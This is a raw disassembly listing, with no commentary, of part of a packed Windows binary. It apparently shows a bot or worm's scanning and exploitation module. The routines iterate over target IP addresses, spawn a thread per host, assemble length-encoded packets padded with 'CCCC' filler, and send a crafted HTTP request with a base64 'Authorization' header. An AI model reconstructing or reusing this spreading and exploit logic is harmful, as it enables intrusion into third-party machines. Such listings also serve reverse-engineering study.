mov esi, ebx
pop ecx
lea edi, [ebp+var_B4]
rep movsd
mov esi, dword_428080
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40C86E: ; CODE XREF: sub_40C840+ECj
push [ebp+var_30]
push [ebp+var_20]
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_134]
push offset dword_434B88
push eax
call sub_41BEF6
lea eax, [ebp+var_134]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_441048
push eax
call sub_41BC60
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B4]
push edi
push eax
push offset sub_40C773
push edi
push edi
call dword_428084 ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_40C8DA
jmp short loc_40C8D5
; ---------------------------------------------------------------------------
loc_40C8D1: ; CODE XREF: sub_40C840+98j
push 32h
call esi ; Sleep
loc_40C8D5: ; CODE XREF: sub_40C840+8Fj
cmp [ebp+var_C], edi
jz short loc_40C8D1
loc_40C8DA: ; CODE XREF: sub_40C840+8Dj
push [ebp+var_4]
call dword_428070 ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
lea eax, [ebp+var_20]
push 4
push eax
lea eax, [ebp+arg_0]
push eax
call near ptr sub_41C9B0
add esp, 0Ch
push [ebp+arg_0]
call dword_4CE230 ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CE304 ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
lea eax, [ebp+var_20]
push eax
call near ptr sub_41C9B0
add esp, 0Ch
jmp loc_40C86E
sub_40C840 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C931 proc near ; DATA XREF: sub_401AA1+5C5Bo
var_130 = byte ptr -130h
var_B0 = dword ptr -0B0h
var_AC = byte ptr -0ACh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, dword_428080
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40C95F: ; CODE XREF: sub_40C931+BCj
push [ebp+var_2C]
push [ebp+var_1C]
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset dword_434C28
push eax
call sub_41BEF6
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_20]
imul eax, 234h
add eax, offset dword_441048
push eax
call sub_41BC60
add esp, 1Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_40C773
push edi
push edi
call dword_428084 ; CreateThread
cmp eax, edi
mov [ebp+arg_0], eax
jz short loc_40C9CB
jmp short loc_40C9C6
; ---------------------------------------------------------------------------
loc_40C9C2: ; CODE XREF: sub_40C931+98j
push 32h
call esi ; Sleep
loc_40C9C6: ; CODE XREF: sub_40C931+8Fj
cmp [ebp+var_8], edi
jz short loc_40C9C2
loc_40C9CB: ; CODE XREF: sub_40C931+8Dj
push [ebp+arg_0]
call dword_428070 ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
mov eax, [ebp+var_2C]
cmp eax, [ebp+var_28]
jz short loc_40C9F2
inc [ebp+var_2C]
jmp loc_40C95F
; ---------------------------------------------------------------------------
loc_40C9F2: ; CODE XREF: sub_40C931+B7j
push [ebp+var_1C]
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_130]
push offset dword_434BD8
push eax
call sub_41BEF6
push edi
lea eax, [ebp+var_130]
push [ebp+var_14]
push eax
lea eax, [ebp+var_AC]
push eax
push [ebp+var_B0]
call sub_409743
push [ebp+var_20]
call sub_40B56A
add esp, 24h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_40C931 endp
; =============== S U B R O U T I N E =======================================
sub_40CA3E proc near ; CODE XREF: sub_40CCAA+Ep
; sub_40CCAA+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40CA3E endp
; =============== S U B R O U T I N E =======================================
sub_40CA48 proc near ; CODE XREF: sub_40CCAA+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
push ebx
mov esi, ecx
call sub_41BB45
mov edi, eax
pop ecx
test edi, edi
jz short loc_40CA7A
push ebx
push 0
push edi
call sub_41BC00
push ebx
push [esp+1Ch+arg_0]
push edi
call near ptr sub_41C9B0
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40CA7A: ; CODE XREF: sub_40CA48+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40CA48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA82 proc near ; CODE XREF: sub_40CB74+18p
; sub_40CBEE+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
mov ecx, [ebp+arg_C]
push esi
push edi
lea edi, [eax+ecx]
push edi
call sub_41BB45
mov esi, eax
pop ecx
test esi, esi
jz short loc_40CACE
push edi
push 0
push esi
call sub_41BC00
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call near ptr sub_41C9B0
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call near ptr sub_41C9B0
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40CACE: ; CODE XREF: sub_40CA82+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40CA82 endp
; =============== S U B R O U T I N E =======================================
sub_40CAD7 proc near ; CODE XREF: sub_40CB74+5Ep
; sub_40CB74+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40CAE7
push eax
call sub_41B721
pop ecx
loc_40CAE7: ; CODE XREF: sub_40CAD7+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40CAD7 endp
; =============== S U B R O U T I N E =======================================
sub_40CAF0 proc near ; CODE XREF: sub_40CB74+20p
; sub_40CC4F+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40CB1A
xor ebx, ebx
cmp eax, 7Fh
setnl bl
lea ebx, [ebx+ebx+1]
add eax, ebx
push eax
call sub_41BB45
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CB1E
loc_40CB1A: ; CODE XREF: sub_40CAF0+Dj
xor al, al
jmp short loc_40CB70
; ---------------------------------------------------------------------------
loc_40CB1E: ; CODE XREF: sub_40CAF0+28j
mov eax, [esi+4]
add eax, ebx
push eax
push 0
push edi
call sub_41BC00
add esp, 0Ch
cmp ebx, 1
jnz short loc_40CB3E
mov al, [esi+4]
mov [edi], al
lea eax, [edi+1]
jmp short loc_40CB53
; ---------------------------------------------------------------------------
loc_40CB3E: ; CODE XREF: sub_40CAF0+42j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
lea eax, [edi+3]
loc_40CB53: ; CODE XREF: sub_40CAF0+4Cj
push dword ptr [esi+4]
push dword ptr [esi]
push eax
call near ptr sub_41C9B0
add esp, 0Ch
push dword ptr [esi]
call sub_41B721
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40CB70: ; CODE XREF: sub_40CAF0+2Cj
pop edi
pop esi
pop ebx
retn
sub_40CAF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CB74 proc near ; CODE XREF: sub_40CCAA+89p
; sub_40CCAA+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_4CE1C0
call sub_40CA82
lea ecx, [ebp+var_8]
call sub_40CAF0
mov eax, [ebp+var_4]
inc eax
push eax
call sub_41BB45
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CBAE
xor al, al
jmp short loc_40CBEA
; ---------------------------------------------------------------------------
loc_40CBAE: ; CODE XREF: sub_40CB74+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_41BC00
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call near ptr sub_41C9B0
add esp, 18h
mov ecx, esi
call sub_40CAD7
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40CAD7
mov al, 1
loc_40CBEA: ; CODE XREF: sub_40CB74+38j
pop edi
pop esi
leave
retn
sub_40CB74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CBEE proc near ; CODE XREF: sub_40CC22+14p
; sub_40CC3F+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40CA82
mov ecx, esi
call sub_40CAD7
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40CBEE endp
; =============== S U B R O U T I N E =======================================
sub_40CC22 proc near ; CODE XREF: sub_40CCAA+F0p
; sub_40CCAA+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_41B650
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_40CBEE
pop esi
retn 4
sub_40CC22 endp
; =============== S U B R O U T I N E =======================================
sub_40CC3F proc near ; CODE XREF: sub_40CC8B+Bp
; sub_40CCAA+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40CBEE
retn 8
sub_40CC3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CC4F proc near ; CODE XREF: sub_40CC8B+16p
; sub_40CCAA+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40CAF0
test al, al
jz short loc_40CC88
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push offset dword_42F47C
call sub_40CA82
mov ecx, esi
call sub_40CAD7
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40CC88: ; CODE XREF: sub_40CC4F+Fj
pop esi
leave
retn
sub_40CC4F endp
; =============== S U B R O U T I N E =======================================
sub_40CC8B proc near ; CODE XREF: sub_40CCAA+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40CC3F
test al, al
jz short loc_40CCA6
mov ecx, esi
call sub_40CC4F
loc_40CCA6: ; CODE XREF: sub_40CC8B+12j
pop esi
retn 8
sub_40CC8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CCAA proc near ; CODE XREF: .XPack0:0040D523p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40CA3E
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40CFEE
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40CFEE
push esi
lea ecx, [ebp+var_30]
call sub_40CA3E
lea ecx, [ebp+var_20]
call sub_40CA3E
lea ecx, [ebp+var_50]
call sub_40CA3E
lea ecx, [ebp+var_18]
call sub_40CA3E
lea ecx, [ebp+var_40]
call sub_40CA3E
lea ecx, [ebp+var_38]
call sub_40CA3E
lea ecx, [ebp+var_28]
call sub_40CA3E
push 4
push offset dword_434C94
lea ecx, [ebp+var_30]
call sub_40CBEE
push 3
push offset dword_434C9C
lea ecx, [ebp+var_30]
call sub_40CBEE
lea ecx, [ebp+var_30]
call sub_40CB74
lea ecx, [ebp+var_30]
call sub_40CC4F
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_41BC00
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset byte_434C88
call sub_40CBEE
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40CBEE
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_40CBEE
lea ecx, [ebp+var_20]
call sub_40CB74
push offset loc_435024
lea ecx, [ebp+var_50]
call sub_40CC22
lea ecx, [ebp+var_50]
call sub_40CB74
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_40CA48
lea ecx, [ebp+var_58]
call sub_40CB74
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_40CC8B
lea ecx, [ebp+var_58]
call sub_40CAD7
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_41BC00
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40CC22
push 4
push offset dword_434CA0
lea ecx, [ebp+var_18]
call sub_40CBEE
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_40CBEE
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_40CBEE
lea ecx, [ebp+var_18]
call sub_40CB74
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40CC3F
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40CC3F
lea ecx, [ebp+var_40]
call sub_40CC4F
lea ecx, [ebp+var_18]
call sub_40CAD7
lea ecx, [ebp+var_50]
call sub_40CAD7
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40CC3F
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40CC3F
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40CC3F
lea ecx, [ebp+var_38]
call sub_40CC4F
lea ecx, [ebp+var_20]
call sub_40CAD7
lea ecx, [ebp+var_30]
call sub_40CAD7
lea ecx, [ebp+var_40]
call sub_40CAD7
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_40CBEE
lea ecx, [ebp+var_28]
call sub_40CB74
push 2
push offset dword_435018
lea ecx, [ebp+var_28]
call sub_40CBEE
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40CC3F
lea ecx, [ebp+var_28]
call sub_40CC4F
lea ecx, [ebp+var_38]
call sub_40CAD7
lea ecx, [ebp+var_10]
call sub_40CA3E
lea ecx, [ebp+var_8]
call sub_40CA3E
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40CC3F
lea ecx, [ebp+var_10]
call sub_40CAF0
lea ecx, [ebp+var_28]
call sub_40CAD7
push offset dword_435014
lea ecx, [ebp+var_8]
call sub_40CC22
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CC3F
lea ecx, [ebp+var_8]
call sub_40CAF0
lea ecx, [ebp+var_10]
call sub_40CAD7
push offset dword_435010
lea ecx, [ebp+var_10]
call sub_40CC22
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40CC3F
lea ecx, [ebp+var_10]
call sub_40CAF0
lea ecx, [ebp+var_8]
call sub_40CAD7
push offset dword_435004
lea ecx, [ebp+var_8]
call sub_40CC22
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40CC3F
lea ecx, [ebp+var_8]
call sub_40CAF0
lea ecx, [ebp+var_10]
call sub_40CAD7
push (offset loc_434FFF+1)
lea ecx, [ebp+var_48]
call sub_40CC22
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40CC3F
lea ecx, [ebp+var_8]
call sub_40CAD7
pop esi
loc_40CFEE: ; CODE XREF: sub_40CCAA+1Bj
; sub_40CCAA+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop edi
pop ebx
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
leave
retn
sub_40CCAA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D000 proc near ; CODE XREF: sub_40D0C4+A2p
; sub_40D0C4+C7p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
mov esi, [ebp+arg_0]
lea eax, [ebp+var_8]
push edi
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
xor edi, edi
push eax
lea eax, [esi+1]
inc edi
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call dword_428224 ; select
cmp eax, edi
jnz short loc_40D067
lea eax, [ebp+var_10C]
push eax
push esi
call sub_426E00 ; __WSAFDIsSet
test eax, eax
jnz short loc_40D06B
loc_40D067: ; CODE XREF: sub_40D000+54j
xor eax, eax
jmp short loc_40D07B
; ---------------------------------------------------------------------------
loc_40D06B: ; CODE XREF: sub_40D000+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4CE320 ; recv
loc_40D07B: ; CODE XREF: sub_40D000+69j
pop edi
pop esi
leave
retn
sub_40D000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D07F proc near ; CODE XREF: sub_40D0C4+80p
; sub_40D0C4+AEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_4CE304 ; ntohl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_4CE358 ; send
cmp eax, 4
jz short loc_40D0A9
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D0A9: ; CODE XREF: sub_40D07F+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4CE358 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40D07F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D0C4 proc near ; CODE XREF: sub_40D1A3+48p
; .XPack0:0040D614p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41BB45
mov esi, eax
pop ecx
test esi, esi
jnz short loc_40D0ED
xor al, al
jmp loc_40D19E
; ---------------------------------------------------------------------------
loc_40D0ED: ; CODE XREF: sub_40D0C4+20j
push ebx
push 0
push esi
call sub_41BC00
push 2Fh
push offset dword_434D30
push esi
call near ptr sub_41C9B0
push 8
lea eax, [esi+31h]
push offset dword_434D60
push eax
mov [esi+2Fh], di
call near ptr sub_41C9B0
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call near ptr sub_41C9B0
push 6
add ebx, edi
push offset dword_4D1008
push ebx
call near ptr sub_41C9B0
push 85h
push offset dword_434CA8
push [ebp+arg_0]
call sub_40D07F
add esp, 48h
test al, al
jnz short loc_40D154
loc_40D150: ; CODE XREF: sub_40D0C4+B8j
xor bl, bl
jmp short loc_40D195
; ---------------------------------------------------------------------------
loc_40D154: ; CODE XREF: sub_40D0C4+8Aj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_40D000
push [ebp+var_4]
push esi
push [ebp+arg_0]
call sub_40D07F
add esp, 1Ch
test al, al
jz short loc_40D150
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_40D000
add esp, 10h
mov bl, 1
loc_40D195: ; CODE XREF: sub_40D0C4+8Ej
push esi
call sub_41B721
pop ecx
mov al, bl
loc_40D19E: ; CODE XREF: sub_40D0C4+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40D0C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D1A3 proc near ; CODE XREF: .XPack0:0040D5FAp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_434D70
push [ebp+arg_0]
call dword_428220 ; send
cmp eax, 48h
jnz short loc_40D1DE
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40D000
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D1DE
cmp [ebp+var_20], 82h
jz short loc_40D1E2
loc_40D1DE: ; CODE XREF: sub_40D1A3+1Bj
; sub_40D1A3+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D1E2: ; CODE XREF: sub_40D1A3+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D0C4
add esp, 0Ch
leave
retn
sub_40D1A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D1F5 proc near ; CODE XREF: sub_40D241+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_428680
call sub_41CE04
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_428678
fstp [esp+10h+var_10]
call sub_41CCE5
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41CE04
inc eax
leave
retn
sub_40D1F5 endp
; =============== S U B R O U T I N E =======================================
sub_40D241 proc near ; CODE XREF: sub_40D3E0+24p
var_40 = qword ptr -40h
mov eax, offset loc_42752B
call sub_41D2D0
sub esp, 2Ch
push ebx
push esi
push edi
xor edi, edi
mov [ebp-20h], edi
mov al, [ebp+13h]
push edi
lea ecx, [ebp-38h]
mov [ebp-38h], al
call sub_40D873
push dword ptr [ebp+10h]
xor ebx, ebx
inc ebx
mov [ebp-4], ebx
call sub_40D1F5
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_40D283
push edi
push eax
lea ecx, [ebp-38h]
call sub_40D7ED
loc_40D283: ; CODE XREF: sub_40D241+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40D3A1
mov ebx, [ebp+10h]
loc_40D292: ; CODE XREF: sub_40D241+157j
cmp dword ptr [ebp+10h], 3
jb short loc_40D29D
push 3
loc_40D29A: ; CODE XREF: sub_40D241+64j
pop ebx
jmp short loc_40D2B0
; ---------------------------------------------------------------------------
loc_40D29D: ; CODE XREF: sub_40D241+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40D2A7
push 2
jmp short loc_40D29A
; ---------------------------------------------------------------------------
loc_40D2A7: ; CODE XREF: sub_40D241+60j
cmp dword ptr [ebp+10h], 1
jnz short loc_40D2B0
xor ebx, ebx
inc ebx
loc_40D2B0: ; CODE XREF: sub_40D241+5Aj
; sub_40D241+6Aj
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_428688
fstp [esp+40h+var_40]
call sub_41CE2B
pop ecx
pop ecx
call sub_41CE04
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40D2EF
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40D2EF: ; CODE XREF: sub_40D241+94j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40D35D
add [ebp-18h], eax
loc_40D341: ; CODE XREF: sub_40D241+11Aj
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_434DC0[eax]
push eax
push 1
call sub_40D66E
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40D341
loc_40D35D: ; CODE XREF: sub_40D241+FBj
cmp dword ptr [ebp-18h], 48h
jb short loc_40D37B
push dword ptr [ebp+14h]
call sub_41B650
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_40D6C8
mov [ebp-18h], edi
loc_40D37B: ; CODE XREF: sub_40D241+120j
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D395
sub esi, [ebp-1Ch]
loc_40D386: ; CODE XREF: sub_40D241+152j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40D66E
dec esi
jnz short loc_40D386
loc_40D395: ; CODE XREF: sub_40D241+140j
cmp [ebp+10h], edi
ja loc_40D292
xor ebx, ebx
inc ebx
loc_40D3A1: ; CODE XREF: sub_40D241+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_40D873
push 0FFFFFFFFh
lea eax, [ebp-38h]
push edi
push eax
mov ecx, esi
call sub_40D720
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_40D873
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D241 endp
; =============== S U B R O U T I N E =======================================
sub_40D3E0 proc near ; CODE XREF: .XPack0:0040D5DDp
mov eax, offset loc_427548
call sub_41D2D0
sub esp, 10h
push ebx
push esi
push edi
push offset byte_4404C4
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40D241
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41BB45
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D42A
xor bl, bl
jmp short loc_40D46E
; ---------------------------------------------------------------------------
loc_40D42A: ; CODE XREF: sub_40D3E0+44j
mov ecx, [ebp-18h]
mov eax, offset dword_428690
cmp ecx, ebx
jnz short loc_40D438
mov ecx, eax
loc_40D438: ; CODE XREF: sub_40D3E0+54j
cmp [ebp+18h], ebx
jz short loc_40D440
mov eax, [ebp+18h]
loc_40D440: ; CODE XREF: sub_40D3E0+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41BFF0
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_4CE358 ; send
cmp eax, esi
jz short loc_40D465
xor bl, bl
jmp short loc_40D467
; ---------------------------------------------------------------------------
loc_40D465: ; CODE XREF: sub_40D3E0+7Fj
mov bl, 1
